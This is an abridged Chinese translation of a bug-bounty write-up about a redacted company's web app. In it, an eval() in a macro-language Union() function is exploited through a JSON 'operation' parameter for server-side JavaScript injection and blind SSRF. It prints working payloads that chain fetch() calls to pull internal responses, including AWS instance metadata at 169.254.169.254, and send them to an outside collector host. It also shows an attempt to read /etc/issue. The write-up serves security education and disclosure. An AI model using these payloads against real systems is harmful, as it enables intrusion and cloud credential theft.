原文:
http://web.archive.org/web/20190319121508/http://10degres.net/aws-takeover-ssrf-javascript/
有删减
介绍
这是个私密项目,我们姑且称之为 猴子公司。猴子公司为他们的web应用开发了一种宏语言,我们姑且称为 香蕉++。我不知道他们用什么开发了香蕉++,但是从webapp里,我们可以看到一些js信息。
这个原始的banan++.js文件时压缩过的,但是还是很大。压缩后2.1M,解压缩后2.5M,56441行,2546981个字符。毫无疑问,我没有读完,我搜索了一些关键词。我找到的第一个函数在3348行。总共大概135个函数。
发现问题
我开始阅读代码,最开始的一些函数都是关于日期操作和数学操作符的,没有什么危险函数。直到一个Union()函数。
helper.prototype.Union = function() {
for (var len22 = arguments.length, args = Array(len22), key22 = 0; key22 < len22; key22++) args[key22] = arguments[key22];
var value = args.shift(),
symbol = args.shift(),
results = args.filter(function(arg) {
try {
return eval(value + symbol + arg)
} catch (e) {
return !1
}
});
return !!results.length
}
你注意到了嘛?这里有一个eval()。然后我把它拷到本地准备进行更多测试。
这个函数可以接受无限个参数,但是从第三个开始有用。这个eval()被用于通过第二个参数比较第一个参数和第三个参数。通常像这样使用Union(1,'<',3);然后返回true。然而输入没有任何过滤,我开始使用alert()开始多种触发。
Union( 'alert()//', '2', '3' );
Union( '1', '2;alert();', '3' );
Union( '1', '2', '3;alert()' );
...
找到注入点
现在我们有了漏洞函数,但是我们还需要一个注入点来注入我们的恶意代码。我记得我看到
过POST参数使用Banan++函数,因此我在burp suite历史里搜索了一下。找到了
POST /REDACTED HTTP/1.1
Host: api.REDACTED.com
Connection: close
Content-Length: 232
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3502.0 Safari/537.36 autochrome/red
Content-Type: application/json;charset=UTF-8
Referer: https://app.REDACTED.com/REDACTED
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: auth=REDACTED
{...REDACTED...,"operation":"( Year( CurrentDate() ) > 2017 )"}
响应:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 54
Connection: close
X-Content-Type-Options: nosniff
X-Xss-Protection: 1
Strict-Transport-Security: max-age=15768000; includeSubDomains
...REDACTED...
[{"name":"REDACTED",...REDACTED...}]
这个operation参数是个不错的选择,让我们测一下。
开始注入
因为我对Banan++一无所知,所以我要测试找出哪些代码我可以注入。一些手动fuzzing。
{...REDACTED...,"operation":"'\"><"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":null}
[]
{...REDACTED...,"operation":"0"}
[]
{...REDACTED...,"operation":"1"}
[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"a"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"a=1"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"alert"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"alert()"}
{"status":400,"message":"Function 'alert' is not defined"}
{...REDACTED...,"operation":"Union()"}
[]
总结
1.我不能注入任意JavaScript代码
2.我也一注入Banan++函数
3.通过解析operation是true或者false,响应也是不同的。
让我们继续测试union:
{...REDACTED...,"operation":"Union(1,2,3)"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union(a,b,c)"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union('a','b','c')"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union('a';'b';'c')"}
[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'2';'3')"}
[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'<';'3')"}
[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'>';'3')"}
[]
完美。1 < 3这个响应包含有效的数据,1 > 3这个响应是空的。参数必须要被分号分割开来。现在我可以尝试真实的攻击了。
fetch是新的XMLHttpRequest
因为这个请求时一个ajax请求,而且只返回JSON数据,这很明显不是一个客户端注入。从之前的报告我也知道猴子公司在服务端使用javascript。
但是不重要,我得尝试所有得可能性,万一触发了错误可以泄露某些信息呢。从我得本地测试,我知道如何注入我的恶意代码。我尝试了基础的XSS payloads而且畸形的javascript但是还是报错。
我尝试发送一个HTTP请求。
搭配一个ajax请求:
x = new XMLHttpRequest;
x.open( 'GET','https://poc.myserver.com' );
x.send();
但是啥也没收到。
然后我像是HTML注入
i = document.createElement( 'img' );
i.src = '<img
src="https://poc.myserver.com/xxx.png">';
document.body.appendChild( i );
还是没收到。再试一些
document.body.innerHTML += '<img
src="https://poc.myserver.com/xxx.png">';
document.body.innerHTML += '<iframe
src="https://poc.myserver.com">';
啥都没收到。
我有花了一些时间,搞清楚了他是如何工作的。
我最后想起来猴子公司使用ReactJS作为他们的前端,我后来才知道他们后在端使用NodeJS。无论如何,我使用google在他们官方文档找到了使用fetch函数发送ajax请求。
然后我注入以下代码:
fetch('https://poc.myserver.com')
然后很快在我的Apache日志上多了一条新纪录。
但是这是个盲ssrf,所以我需要使用2个ajax请求来获取内容。
x1 = new XMLHttpRequest;
x1.open( 'GET','https://...', false );
x1.send();
r = x1.responseText;
x2 = new XMLHttpRequest;
x2.open( 'GET','https://poc.myserver.com/?r='+r,false );
x2.send();
调整一下使用fetch方法。
fetch('https://...').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));
SSRF到最终的胜利
我尝试读取本地文件
fetch('file:///etc/issue').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));
但是在我的日志里,r参数是空的。
然后我发现一些S3 buckets是和猴子公司相关的(Monkey-xxx),我认为他们的webapp可能也在AWS上。然后我就尝试去获取元数据。

URL解码:
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
iam/
...
最终payload:
{...REDACTED...,"operation":"Union('1';'2;fetch(\"http://169.254.169.254/latest/meta-data/\").then(res=>res.text()).then((r)=>fetch(\"https://poc.myserver.com/?r=\"+r));';'3')"}
。。。
后边不翻译了,常规的利用AWS key。
译者按:
首先作者阅读js代码,发现了一个存在缺陷的函数,然后通过查找历史请求,找到了注入点。再凭借一通Fuzz发现可以通过True和Flase来判断,又通过查文档解决了ajax请求的问题。最后通过合理的推测,发起SSRF获取元数据,最后利用AWSkey接管服务。
本文迁移自知识星球“火线Zone”